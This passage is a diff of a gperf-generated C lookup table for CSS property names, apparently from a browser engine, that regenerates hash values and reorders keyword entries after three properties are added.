 #ifdef __GNUC__
 __inline
@@ -51,32 +51,32 @@ hash_prop (register const char *str, register unsigned int len)
 {
   static const unsigned short asso_values[] =
     {
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814,    0, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814,    5,    0,   75,
-         0,    0,  345,    5,  315,    0,   10,    0,  105,    0,
-         5,    0,   55,   30,    5,   25,    0,  140,   75,   15,
-       375,  395,   10, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814, 1814,
-      1814, 1814, 1814, 1814, 1814, 1814
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144,    0, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144,    5,    0,   75,
+         0,    0,  410,  160,  360,    0,   15,   15,    5,    5,
+         0,    0,   85,   20,    0,    0,    0,  195,   40,   15,
+       290,  745,   40, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144, 2144,
+      2144, 2144, 2144, 2144, 2144, 2144
     };
   register int hval = len;
 
@@ -217,582 +217,585 @@ hash_prop (register const char *str, register unsigned int len)
 
 #ifdef __GNUC__
 __inline
-#ifdef __GNUC_STDC_INLINE__
-__attribute__ ((__gnu_inline__))
-#endif
 #endif
 const struct props *
 findProp (register const char *str, register unsigned int len)
 {
   enum
     {
-      TOTAL_KEYWORDS = 280,
+      TOTAL_KEYWORDS = 283,
       MIN_WORD_LENGTH = 3,
       MAX_WORD_LENGTH = 43,
       MIN_HASH_VALUE = 6,
-      MAX_HASH_VALUE = 1813
+      MAX_HASH_VALUE = 2143
     };
 
   static const struct props wordlist_prop[] =
     {
-#line 50 "CSSPropertyNames.gperf"
-      {"bottom", CSSPropertyBottom},
-#line 148 "CSSPropertyNames.gperf"
-      {"zoom", CSSPropertyZoom},
 #line 23 "CSSPropertyNames.gperf"
       {"border", CSSPropertyBorder},
-#line 268 "CSSPropertyNames.gperf"
-      {"marker", CSSPropertyMarker},
+#line 50 "CSSPropertyNames.gperf"
+      {"bottom", CSSPropertyBottom},
 #line 24 "CSSPropertyNames.gperf"
       {"border-bottom", CSSPropertyBorderBottom},
-#line 270 "CSSPropertyNames.gperf"
-      {"marker-mid", CSSPropertyMarkerMid},
-#line 78 "CSSPropertyNames.gperf"
-      {"margin", CSSPropertyMargin},
-#line 286 "CSSPropertyNames.gperf"
-      {"kerning", CSSPropertyKerning},
-#line 269 "CSSPropertyNames.gperf"
-      {"marker-end", CSSPropertyMarkerEnd},
-#line 79 "CSSPropertyNames.gperf"
-      {"margin-bottom", CSSPropertyMarginBottom},
-#line 252 "CSSPropertyNames.gperf"
+#line 276 "CSSPropertyNames.gperf"
+      {"stroke", CSSPropertyStroke},
+#line 255 "CSSPropertyNames.gperf"
       {"mask", CSSPropertyMask},
+#line 271 "CSSPropertyNames.gperf"
+      {"marker", CSSPropertyMarker},
+#line 272 "CSSPropertyNames.gperf"
+      {"marker-end", CSSPropertyMarkerEnd},
+#line 142 "CSSPropertyNames.gperf"
+      {"widows", CSSPropertyWidows},
+#line 286 "CSSPropertyNames.gperf"
+      {"dominant-baseline", CSSPropertyDominantBaseline},
 #line 273 "CSSPropertyNames.gperf"
-      {"stroke", CSSPropertyStroke},
+      {"marker-mid", CSSPropertyMarkerMid},
+#line 274 "CSSPropertyNames.gperf"
+      {"marker-start", CSSPropertyMarkerStart},
 #line 111 "CSSPropertyNames.gperf"
       {"size", CSSPropertySize},
 #line 144 "CSSPropertyNames.gperf"
       {"word-break", CSSPropertyWordBreak},
-#line 288 "CSSPropertyNames.gperf"
-      {"writing-mode", CSSPropertyWritingMode},
-#line 163 "CSSPropertyNames.gperf"
-      {"-webkit-binding", CSSPropertyWebkitBinding},
 #line 109 "CSSPropertyNames.gperf"
       {"resize", CSSPropertyResize},
-#line 267 "CSSPropertyNames.gperf"
-      {"image-rendering", CSSPropertyImageRendering},
+#line 281 "CSSPropertyNames.gperf"
+      {"stroke-miterlimit", CSSPropertyStrokeMiterlimit},
+#line 148 "CSSPropertyNames.gperf"
+      {"zoom", CSSPropertyZoom},
+#line 280 "CSSPropertyNames.gperf"
+      {"stroke-linejoin", CSSPropertyStrokeLinejoin},
+#line 243 "CSSPropertyNames.gperf"
+      {"-webkit-transition", CSSPropertyWebkitTransition},
 #line 149 "CSSPropertyNames.gperf"
       {"-webkit-animation", CSSPropertyWebkitAnimation},
-#line 166 "CSSPropertyNames.gperf"
-      {"-webkit-border-image", CSSPropertyWebkitBorderImage},
-#line 206 "CSSPropertyNames.gperf"
+#line 208 "CSSPropertyNames.gperf"
       {"-webkit-mask", CSSPropertyWebkitMask},
-#line 136 "CSSPropertyNames.gperf"
-      {"top", CSSPropertyTop},
-#line 142 "CSSPropertyNames.gperf"
-      {"widows", CSSPropertyWidows},
-#line 271 "CSSPropertyNames.gperf"
-      {"marker-start", CSSPropertyMarkerStart},
-#line 154 "CSSPropertyNames.gperf"
+#line 196 "CSSPropertyNames.gperf"
+      {"-webkit-line-break", CSSPropertyWebkitLineBreak},
+#line 155 "CSSPropertyNames.gperf"
       {"-webkit-animation-name", CSSPropertyWebkitAnimationName},
-#line 102 "CSSPropertyNames.gperf"
-      {"page", CSSPropertyPage},
-#line 211 "CSSPropertyNames.gperf"
-      {"-webkit-mask-image", CSSPropertyWebkitMaskImage},
-#line 43 "CSSPropertyNames.gperf"
-      {"border-top", CSSPropertyBorderTop},
-#line 97 "CSSPropertyNames.gperf"
-      {"padding", CSSPropertyPadding},
-#line 241 "CSSPropertyNames.gperf"
-      {"-webkit-transition", CSSPropertyWebkitTransition},
-#line 212 "CSSPropertyNames.gperf"
-      {"-webkit-mask-origin", CSSPropertyWebkitMaskOrigin},
-#line 98 "CSSPropertyNames.gperf"
-      {"padding-bottom", CSSPropertyPaddingBottom},
-#line 82 "CSSPropertyNames.gperf"
-      {"margin-top", CSSPropertyMarginTop},
-#line 198 "CSSPropertyNames.gperf"
-      {"-webkit-margin-start", CSSPropertyWebkitMarginStart},
+#line 112 "CSSPropertyNames.gperf"
+      {"src", CSSPropertySrc},
 #line 55 "CSSPropertyNames.gperf"
       {"content", CSSPropertyContent},
-#line 107 "CSSPropertyNames.gperf"
-      {"position", CSSPropertyPosition},
 #line 59 "CSSPropertyNames.gperf"
       {"direction", CSSPropertyDirection},
-#line 219 "CSSPropertyNames.gperf"
+#line 54 "CSSPropertyNames.gperf"
+      {"color", CSSPropertyColor},
+#line 136 "CSSPropertyNames.gperf"
+      {"top", CSSPropertyTop},
+#line 52 "CSSPropertyNames.gperf"
+      {"clear", CSSPropertyClear},
+#line 31 "CSSPropertyNames.gperf"
+      {"border-color", CSSPropertyBorderColor},
+#line 107 "CSSPropertyNames.gperf"
+      {"position", CSSPropertyPosition},
+#line 43 "CSSPropertyNames.gperf"
+      {"border-top", CSSPropertyBorderTop},
+#line 25 "CSSPropertyNames.gperf"
+      {"border-bottom-color", CSSPropertyBorderBottomColor},
+#line 221 "CSSPropertyNames.gperf"
       {"-webkit-mask-size", CSSPropertyWebkitMaskSize},
-#line 112 "CSSPropertyNames.gperf"
-      {"src", CSSPropertySrc},
 #line 146 "CSSPropertyNames.gperf"
       {"word-wrap", CSSPropertyWordWrap},
-#line 221 "CSSPropertyNames.gperf"
+#line 223 "CSSPropertyNames.gperf"
       {"-webkit-nbsp-mode", CSSPropertyWebkitNbspMode},
-#line 105 "CSSPropertyNames.gperf"
-      {"page-break-inside", CSSPropertyPageBreakInside},
-#line 216 "CSSPropertyNames.gperf"
-      {"-webkit-mask-repeat", CSSPropertyWebkitMaskRepeat},
-#line 101 "CSSPropertyNames.gperf"
-      {"padding-top", CSSPropertyPaddingTop},
-#line 222 "CSSPropertyNames.gperf"
-      {"-webkit-padding-start", CSSPropertyWebkitPaddingStart},
+#line 106 "CSSPropertyNames.gperf"
+      {"pointer-events", CSSPropertyPointerEvents},
 #line 151 "CSSPropertyNames.gperf"
       {"-webkit-animation-direction", CSSPropertyWebkitAnimationDirection},
-#line 213 "CSSPropertyNames.gperf"
+#line 215 "CSSPropertyNames.gperf"
       {"-webkit-mask-position", CSSPropertyWebkitMaskPosition},
-#line 194 "CSSPropertyNames.gperf"
-      {"-webkit-line-break", CSSPropertyWebkitLineBreak},
-#line 278 "CSSPropertyNames.gperf"
-      {"stroke-miterlimit", CSSPropertyStrokeMiterlimit},
-#line 227 "CSSPropertyNames.gperf"
-      {"-webkit-rtl-ordering", CSSPropertyWebkitRtlOrdering},
-#line 277 "CSSPropertyNames.gperf"
-      {"stroke-linejoin", CSSPropertyStrokeLinejoin},
-#line 283 "CSSPropertyNames.gperf"
-      {"dominant-baseline", CSSPropertyDominantBaseline},
+#line 218 "CSSPropertyNames.gperf"
+      {"-webkit-mask-repeat", CSSPropertyWebkitMaskRepeat},
+#line 53 "CSSPropertyNames.gperf"
+      {"clip", CSSPropertyClip},
+#line 261 "CSSPropertyNames.gperf"
+      {"stop-color", CSSPropertyStopColor},
+#line 78 "CSSPropertyNames.gperf"
+      {"margin", CSSPropertyMargin},
 #line 51 "CSSPropertyNames.gperf"
       {"caption-side", CSSPropertyCaptionSide},
-#line 106 "CSSPropertyNames.gperf"
-      {"pointer-events", CSSPropertyPointerEvents},
-#line 54 "CSSPropertyNames.gperf"
-      {"color", CSSPropertyColor},
-#line 41 "CSSPropertyNames.gperf"
-      {"border-spacing", CSSPropertyBorderSpacing},
-#line 52 "CSSPropertyNames.gperf"
-      {"clear", CSSPropertyClear},
+#line 44 "CSSPropertyNames.gperf"
+      {"border-top-color", CSSPropertyBorderTopColor},
+#line 289 "CSSPropertyNames.gperf"
+      {"kerning", CSSPropertyKerning},
+#line 79 "CSSPropertyNames.gperf"
+      {"margin-bottom", CSSPropertyMarginBottom},
+#line 30 "CSSPropertyNames.gperf"
+      {"border-collapse", CSSPropertyBorderCollapse},
+#line 291 "CSSPropertyNames.gperf"
+      {"writing-mode", CSSPropertyWritingMode},
+#line 263 "CSSPropertyNames.gperf"
+      {"color-interpolation", CSSPropertyColorInterpolation},
+#line 279 "CSSPropertyNames.gperf"
+      {"stroke-linecap", CSSPropertyStrokeLinecap},
+#line 284 "CSSPropertyNames.gperf"
+      {"alignment-baseline", CSSPropertyAlignmentBaseline},
+#line 164 "CSSPropertyNames.gperf"
+      {"-webkit-binding", CSSPropertyWebkitBinding},
+#line 89 "CSSPropertyNames.gperf"
+      {"outline", CSSPropertyOutline},
 #line 36 "CSSPropertyNames.gperf"
       {"border-radius", CSSPropertyBorderRadius},
+#line 229 "CSSPropertyNames.gperf"
+      {"-webkit-rtl-ordering", CSSPropertyWebkitRtlOrdering},
+#line 167 "CSSPropertyNames.gperf"
+      {"-webkit-border-image", CSSPropertyWebkitBorderImage},
 #line 108 "CSSPropertyNames.gperf"
       {"quotes", CSSPropertyQuotes},
-#line 145 "CSSPropertyNames.gperf"
-      {"word-spacing", CSSPropertyWordSpacing},
-#line 31 "CSSPropertyNames.gperf"
-      {"border-color", CSSPropertyBorderColor},
 #line 200 "CSSPropertyNames.gperf"
-      {"-webkit-marquee", CSSPropertyWebkitMarquee},
-#line 25 "CSSPropertyNames.gperf"
-      {"border-bottom-color", CSSPropertyBorderBottomColor},
-#line 152 "CSSPropertyNames.gperf"
-      {"-webkit-animation-duration", CSSPropertyWebkitAnimationDuration},
-#line 246 "CSSPropertyNames.gperf"
-      {"-webkit-user-drag", CSSPropertyWebkitUserDrag},
-#line 167 "CSSPropertyNames.gperf"
-      {"-webkit-border-radius", CSSPropertyWebkitBorderRadius},
-#line 210 "CSSPropertyNames.gperf"
+      {"-webkit-margin-start", CSSPropertyWebkitMarginStart},
+#line 197 "CSSPropertyNames.gperf"
+      {"-webkit-line-clamp", CSSPropertyWebkitLineClamp},
+#line 214 "CSSPropertyNames.gperf"
+      {"-webkit-mask-origin", CSSPropertyWebkitMaskOrigin},
+#line 211 "CSSPropertyNames.gperf"
+      {"-webkit-mask-clip", CSSPropertyWebkitMaskClip},
+#line 212 "CSSPropertyNames.gperf"
       {"-webkit-mask-composite", CSSPropertyWebkitMaskComposite},
-#line 263 "CSSPropertyNames.gperf"
+#line 213 "CSSPropertyNames.gperf"
+      {"-webkit-mask-image", CSSPropertyWebkitMaskImage},
+#line 168 "CSSPropertyNames.gperf"
+      {"-webkit-border-radius", CSSPropertyWebkitBorderRadius},
+#line 102 "CSSPropertyNames.gperf"
+      {"page", CSSPropertyPage},
+#line 266 "CSSPropertyNames.gperf"
       {"color-rendering", CSSPropertyColorRendering},
-#line 137 "CSSPropertyNames.gperf"
-      {"unicode-bidi", CSSPropertyUnicodeBidi},
-#line 53 "CSSPropertyNames.gperf"
-      {"clip", CSSPropertyClip},
-#line 243 "CSSPropertyNames.gperf"
+#line 97 "CSSPropertyNames.gperf"
+      {"padding", CSSPropertyPadding},
+#line 245 "CSSPropertyNames.gperf"
       {"-webkit-transition-duration", CSSPropertyWebkitTransitionDuration},
-#line 157 "CSSPropertyNames.gperf"
-      {"-webkit-appearance", CSSPropertyWebkitAppearance},
-#line 10 "CSSPropertyNames.gperf"
-      {"background", CSSPropertyBackground},
-#line 138 "CSSPropertyNames.gperf"
-      {"unicode-range", CSSPropertyUnicodeRange},
+#line 82 "CSSPropertyNames.gperf"
+      {"margin-top", CSSPropertyMarginTop},
+#line 98 "CSSPropertyNames.gperf"
+      {"padding-bottom", CSSPropertyPaddingBottom},
+#line 202 "CSSPropertyNames.gperf"
+      {"-webkit-marquee", CSSPropertyWebkitMarquee},
+#line 152 "CSSPropertyNames.gperf"
+      {"-webkit-animation-duration", CSSPropertyWebkitAnimationDuration},
 #line 58 "CSSPropertyNames.gperf"
       {"cursor", CSSPropertyCursor},
-#line 89 "CSSPropertyNames.gperf"
-      {"outline", CSSPropertyOutline},
-#line 14 "CSSPropertyNames.gperf"
-      {"background-image", CSSPropertyBackgroundImage},
-#line 44 "CSSPropertyNames.gperf"
-      {"border-top-color", CSSPropertyBorderTopColor},
-#line 15 "CSSPropertyNames.gperf"
-      {"background-origin", CSSPropertyBackgroundOrigin},
+#line 137 "CSSPropertyNames.gperf"
+      {"unicode-bidi", CSSPropertyUnicodeBidi},
 #line 57 "CSSPropertyNames.gperf"
       {"counter-reset", CSSPropertyCounterReset},
-#line 258 "CSSPropertyNames.gperf"
-      {"stop-color", CSSPropertyStopColor},
-#line 281 "CSSPropertyNames.gperf"
-      {"alignment-baseline", CSSPropertyAlignmentBaseline},
-#line 22 "CSSPropertyNames.gperf"
-      {"background-size", CSSPropertyBackgroundSize},
-#line 203 "CSSPropertyNames.gperf"
-      {"-webkit-marquee-repetition", CSSPropertyWebkitMarqueeRepetition},
-#line 276 "CSSPropertyNames.gperf"
-      {"stroke-linecap", CSSPropertyStrokeLinecap},
-#line 161 "CSSPropertyNames.gperf"
-      {"-webkit-background-origin", CSSPropertyWebkitBackgroundOrigin},
+#line 181 "CSSPropertyNames.gperf"
+      {"-webkit-color-correction", CSSPropertyWebkitColorCorrection},
+#line 105 "CSSPropertyNames.gperf"
+      {"page-break-inside", CSSPropertyPageBreakInside},
+#line 90 "CSSPropertyNames.gperf"
+      {"outline-color", CSSPropertyOutlineColor},
+#line 116 "CSSPropertyNames.gperf"
+      {"text-indent", CSSPropertyTextIndent},
+#line 251 "CSSPropertyNames.gperf"
+      {"-webkit-variable-declaration-block", CSSPropertyWebkitVariableDeclarationBlock},
+#line 224 "CSSPropertyNames.gperf"
+      {"-webkit-padding-start", CSSPropertyWebkitPaddingStart},
+#line 158 "CSSPropertyNames.gperf"
+      {"-webkit-appearance", CSSPropertyWebkitAppearance},
+#line 139 "CSSPropertyNames.gperf"
+      {"vertical-align", CSSPropertyVerticalAlign},
+#line 250 "CSSPropertyNames.gperf"
+      {"-webkit-user-select", CSSPropertyWebkitUserSelect},
+#line 192 "CSSPropertyNames.gperf"
+      {"-webkit-columns", CSSPropertyWebkitColumns},
+#line 225 "CSSPropertyNames.gperf"
+      {"-webkit-perspective", CSSPropertyWebkitPerspective},
+#line 147 "CSSPropertyNames.gperf"
+      {"z-index", CSSPropertyZIndex},
+#line 176 "CSSPropertyNames.gperf"
+      {"-webkit-box-orient", CSSPropertyWebkitBoxOrient},
+#line 41 "CSSPropertyNames.gperf"
+      {"border-spacing", CSSPropertyBorderSpacing},
+#line 174 "CSSPropertyNames.gperf"
+      {"-webkit-box-lines", CSSPropertyWebkitBoxLines},
 #line 72 "CSSPropertyNames.gperf"
       {"letter-spacing", CSSPropertyLetterSpacing},
-#line 204 "CSSPropertyNames.gperf"
-      {"-webkit-marquee-speed", CSSPropertyWebkitMarqueeSpeed},
-#line 209 "CSSPropertyNames.gperf"
-      {"-webkit-mask-clip", CSSPropertyWebkitMaskClip},
-#line 153 "CSSPropertyNames.gperf"
+#line 270 "CSSPropertyNames.gperf"
+      {"image-rendering", CSSPropertyImageRendering},
+#line 101 "CSSPropertyNames.gperf"
+      {"padding-top", CSSPropertyPaddingTop},
+#line 123 "CSSPropertyNames.gperf"
+      {"text-overline", CSSPropertyTextOverline},
+#line 145 "CSSPropertyNames.gperf"
+      {"word-spacing", CSSPropertyWordSpacing},
+#line 154 "CSSPropertyNames.gperf"
       {"-webkit-animation-iteration-count", CSSPropertyWebkitAnimationIterationCount},
-#line 201 "CSSPropertyNames.gperf"
+#line 234 "CSSPropertyNames.gperf"
+      {"-webkit-text-stroke", CSSPropertyWebkitTextStroke},
+#line 203 "CSSPropertyNames.gperf"
       {"-webkit-marquee-direction", CSSPropertyWebkitMarqueeDirection},
-#line 162 "CSSPropertyNames.gperf"
-      {"-webkit-background-size", CSSPropertyWebkitBackgroundSize},
-#line 202 "CSSPropertyNames.gperf"
+#line 184 "CSSPropertyNames.gperf"
+      {"-webkit-column-break-inside", CSSPropertyWebkitColumnBreakInside},
+#line 125 "CSSPropertyNames.gperf"
+      {"text-overline-mode", CSSPropertyTextOverlineMode},
+#line 204 "CSSPropertyNames.gperf"
       {"-webkit-marquee-increment", CSSPropertyWebkitMarqueeIncrement},
-#line 19 "CSSPropertyNames.gperf"
-      {"background-repeat", CSSPropertyBackgroundRepeat},
-#line 223 "CSSPropertyNames.gperf"
-      {"-webkit-perspective", CSSPropertyWebkitPerspective},
-#line 110 "CSSPropertyNames.gperf"
-      {"right", CSSPropertyRight},
+#line 206 "CSSPropertyNames.gperf"
+      {"-webkit-marquee-speed", CSSPropertyWebkitMarqueeSpeed},
+#line 205 "CSSPropertyNames.gperf"
+      {"-webkit-marquee-repetition", CSSPropertyWebkitMarqueeRepetition},
 #line 56 "CSSPropertyNames.gperf"
       {"counter-increment", CSSPropertyCounterIncrement},
+#line 254 "CSSPropertyNames.gperf"
+      {"clip-rule", CSSPropertyClipRule},
 #line 143 "CSSPropertyNames.gperf"
       {"width", CSSPropertyWidth},
-#line 16 "CSSPropertyNames.gperf"
-      {"background-position", CSSPropertyBackgroundPosition},
-#line 86 "CSSPropertyNames.gperf"
-      {"min-width", CSSPropertyMinWidth},
-#line 224 "CSSPropertyNames.gperf"
-      {"-webkit-perspective-origin", CSSPropertyWebkitPerspectiveOrigin},
-#line 37 "CSSPropertyNames.gperf"
-      {"border-right", CSSPropertyBorderRight},
+#line 115 "CSSPropertyNames.gperf"
+      {"text-decoration", CSSPropertyTextDecoration},
 #line 49 "CSSPropertyNames.gperf"
       {"border-width", CSSPropertyBorderWidth},
-#line 63 "CSSPropertyNames.gperf"
-      {"font", CSSPropertyFont},
-#line 81 "CSSPropertyNames.gperf"
-      {"margin-right", CSSPropertyMarginRight},
+#line 86 "CSSPropertyNames.gperf"
+      {"min-width", CSSPropertyMinWidth},
+#line 199 "CSSPropertyNames.gperf"
+      {"-webkit-margin-collapse", CSSPropertyWebkitMarginCollapse},
 #line 29 "CSSPropertyNames.gperf"
       {"border-bottom-width", CSSPropertyBorderBottomWidth},
-#line 253 "CSSPropertyNames.gperf"
-      {"enable-background", CSSPropertyEnableBackground},
-#line 280 "CSSPropertyNames.gperf"
+#line 283 "CSSPropertyNames.gperf"
       {"stroke-width", CSSPropertyStrokeWidth},
-#line 190 "CSSPropertyNames.gperf"
-      {"-webkit-columns", CSSPropertyWebkitColumns},
-#line 195 "CSSPropertyNames.gperf"
-      {"-webkit-line-clamp", CSSPropertyWebkitLineClamp},
-#line 260 "CSSPropertyNames.gperf"
-      {"color-interpolation", CSSPropertyColorInterpolation},
-#line 164 "CSSPropertyNames.gperf"
-      {"-webkit-border-fit", CSSPropertyWebkitBorderFit},
-#line 289 "CSSPropertyNames.gperf"
-      {"-webkit-shadow", CSSPropertyWebkitShadow},
-#line 65 "CSSPropertyNames.gperf"
-      {"font-size", CSSPropertyFontSize},
-#line 30 "CSSPropertyNames.gperf"
-      {"border-collapse", CSSPropertyBorderCollapse},
-#line 116 "CSSPropertyNames.gperf"
-      {"text-indent", CSSPropertyTextIndent},
-#line 147 "CSSPropertyNames.gperf"
-      {"z-index", CSSPropertyZIndex},
-#line 139 "CSSPropertyNames.gperf"
-      {"vertical-align", CSSPropertyVerticalAlign},
-#line 182 "CSSPropertyNames.gperf"
-      {"-webkit-column-break-inside", CSSPropertyWebkitColumnBreakInside},
-#line 100 "CSSPropertyNames.gperf"
-      {"padding-right", CSSPropertyPaddingRight},
 #line 248 "CSSPropertyNames.gperf"
-      {"-webkit-user-select", CSSPropertyWebkitUserSelect},
-#line 48 "CSSPropertyNames.gperf"
-      {"border-top-width", CSSPropertyBorderTopWidth},
-#line 128 "CSSPropertyNames.gperf"
-      {"text-rendering", CSSPropertyTextRendering},
-#line 88 "CSSPropertyNames.gperf"
-      {"orphans", CSSPropertyOrphans},
-#line 175 "CSSPropertyNames.gperf"
-      {"-webkit-box-orient", CSSPropertyWebkitBoxOrient},
-#line 235 "CSSPropertyNames.gperf"
-      {"-webkit-transform", CSSPropertyWebkitTransform},
-#line 184 "CSSPropertyNames.gperf"
-      {"-webkit-column-gap", CSSPropertyWebkitColumnGap},
-#line 197 "CSSPropertyNames.gperf"
-      {"-webkit-margin-collapse", CSSPropertyWebkitMarginCollapse},
-#line 160 "CSSPropertyNames.gperf"
-      {"-webkit-background-composite", CSSPropertyWebkitBackgroundComposite},
-#line 196 "CSSPropertyNames.gperf"
+      {"-webkit-user-drag", CSSPropertyWebkitUserDrag},
+#line 198 "CSSPropertyNames.gperf"
       {"-webkit-margin-bottom-collapse", CSSPropertyWebkitMarginBottomCollapse},
-#line 13 "CSSPropertyNames.gperf"
-      {"background-color", CSSPropertyBackgroundColor},
-#line 232 "CSSPropertyNames.gperf"
-      {"-webkit-text-stroke", CSSPropertyWebkitTextStroke},
-#line 272 "CSSPropertyNames.gperf"
-      {"shape-rendering", CSSPropertyShapeRendering},
-#line 104 "CSSPropertyNames.gperf"
-      {"page-break-before", CSSPropertyPageBreakBefore},
-#line 236 "CSSPropertyNames.gperf"
-      {"-webkit-transform-origin", CSSPropertyWebkitTransformOrigin},
-#line 103 "CSSPropertyNames.gperf"
-      {"page-break-after", CSSPropertyPageBreakAfter},
-#line 90 "CSSPropertyNames.gperf"
-      {"outline-color", CSSPropertyOutlineColor},
-#line 208 "CSSPropertyNames.gperf"
-      {"-webkit-mask-box-image", CSSPropertyWebkitMaskBoxImage},
-#line 179 "CSSPropertyNames.gperf"
-      {"-webkit-box-sizing", CSSPropertyWebkitBoxSizing},
+#line 63 "CSSPropertyNames.gperf"
+      {"font", CSSPropertyFont},
+#line 171 "CSSPropertyNames.gperf"
+      {"-webkit-box-direction", CSSPropertyWebkitBoxDirection},
 #line 71 "CSSPropertyNames.gperf"
       {"left", CSSPropertyLeft},
-#line 239 "CSSPropertyNames.gperf"
-      {"-webkit-transform-origin-z", CSSPropertyWebkitTransformOriginZ},
-#line 68 "CSSPropertyNames.gperf"
-      {"font-variant", CSSPropertyFontVariant},
+#line 257 "CSSPropertyNames.gperf"
+      {"filter", CSSPropertyFilter},
+#line 267 "CSSPropertyNames.gperf"
+      {"fill", CSSPropertyFill},
 #line 62 "CSSPropertyNames.gperf"
       {"float", CSSPropertyFloat},
-#line 254 "CSSPropertyNames.gperf"
-      {"filter", CSSPropertyFilter},
 #line 32 "CSSPropertyNames.gperf"
       {"border-left", CSSPropertyBorderLeft},
-#line 207 "CSSPropertyNames.gperf"
+#line 124 "CSSPropertyNames.gperf"
+      {"text-overline-color", CSSPropertyTextOverlineColor},
+#line 235 "CSSPropertyNames.gperf"
+      {"-webkit-text-stroke-color", CSSPropertyWebkitTextStrokeColor},
+#line 138 "CSSPropertyNames.gperf"
+      {"unicode-range", CSSPropertyUnicodeRange},
+#line 216 "CSSPropertyNames.gperf"
+      {"-webkit-mask-position-x", CSSPropertyWebkitMaskPositionX},
+#line 219 "CSSPropertyNames.gperf"
+      {"-webkit-mask-repeat-x", CSSPropertyWebkitMaskRepeatX},
+#line 88 "CSSPropertyNames.gperf"
+      {"orphans", CSSPropertyOrphans},
+#line 165 "CSSPropertyNames.gperf"
+      {"-webkit-border-fit", CSSPropertyWebkitBorderFit},
+#line 65 "CSSPropertyNames.gperf"
+      {"font-size", CSSPropertyFontSize},
+#line 10 "CSSPropertyNames.gperf"
+      {"background", CSSPropertyBackground},
+#line 128 "CSSPropertyNames.gperf"
+      {"text-rendering", CSSPropertyTextRendering},
+#line 237 "CSSPropertyNames.gperf"
+      {"-webkit-transform", CSSPropertyWebkitTransform},
+#line 114 "CSSPropertyNames.gperf"
+      {"text-align", CSSPropertyTextAlign},
+#line 68 "CSSPropertyNames.gperf"
+      {"font-variant", CSSPropertyFontVariant},
+#line 48 "CSSPropertyNames.gperf"
+      {"border-top-width", CSSPropertyBorderTopWidth},
+#line 256 "CSSPropertyNames.gperf"
+      {"enable-background", CSSPropertyEnableBackground},
+#line 94 "CSSPropertyNames.gperf"
+      {"overflow", CSSPropertyOverflow},
+#line 201 "CSSPropertyNames.gperf"
+      {"-webkit-margin-top-collapse", CSSPropertyWebkitMarginTopCollapse},
+#line 153 "CSSPropertyNames.gperf"
+      {"-webkit-animation-fill-mode", CSSPropertyWebkitAnimationFillMode},
+#line 226 "CSSPropertyNames.gperf"
+      {"-webkit-perspective-origin", CSSPropertyWebkitPerspectiveOrigin},
+#line 131 "CSSPropertyNames.gperf"
+      {"text-underline", CSSPropertyTextUnderline},
+#line 22 "CSSPropertyNames.gperf"
+      {"background-size", CSSPropertyBackgroundSize},
+#line 258 "CSSPropertyNames.gperf"
+      {"flood-color", CSSPropertyFloodColor},
+#line 170 "CSSPropertyNames.gperf"
